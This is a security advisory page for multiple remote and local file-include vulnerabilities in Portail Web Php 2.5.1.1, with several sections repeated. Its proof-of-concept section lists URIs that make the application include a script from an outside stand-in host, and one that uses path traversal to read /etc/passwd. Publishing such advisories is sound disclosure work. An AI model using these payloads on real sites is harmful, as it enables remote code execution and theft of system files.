Portail Web Php Multiple Remote And Local File Include Vulnerabilities
BID:27962
Info
Portail Web Php Multiple Remote And Local File Include Vulnerabilities
| Bugtraq ID: | 27962 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1068 CVE-2007-0700 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 24 2008 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | GoLd_M reported these vulnerabilities. |
| Vulnerable: |
Portail Web Php Portail Web Php 2.5.1 .1 |
| Not Vulnerable: | |
Discussion
Portail Web Php Multiple Remote And Local File Include Vulnerabilities
Portail Web Php is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or access potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
These issues affect Portail Web Php 2.5.1.1 and prior versions.
Portail Web Php is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or access potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
These issues affect Portail Web Php 2.5.1.1 and prior versions.
Exploit / POC
Portail Web Php Multiple Remote And Local File Include Vulnerabilities
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/template/Vert/index.php?site_path=http://www.example2.com http://www.example.com/template/Noir/index.php?site_path=http://www.example2.com http://www.example.com/template/Bleu/index.php?site_path=http://www.example2.com
http://www.example.com/?page=../../../../../../../../etc/passwd
An attacker can exploit these issues via a browser.
The following proof-of-concept URIs are available:
http://www.example.com/template/Vert/index.php?site_path=http://www.example2.com http://www.example.com/template/Noir/index.php?site_path=http://www.example2.com http://www.example.com/template/Bleu/index.php?site_path=http://www.example2.com
http://www.example.com/?page=../../../../../../../../etc/passwd
Solution / Fix
Portail Web Php Multiple Remote And Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Portail Web Php Multiple Remote And Local File Include Vulnerabilities
References:
References:
- Portail Web Php (Php Web Portail )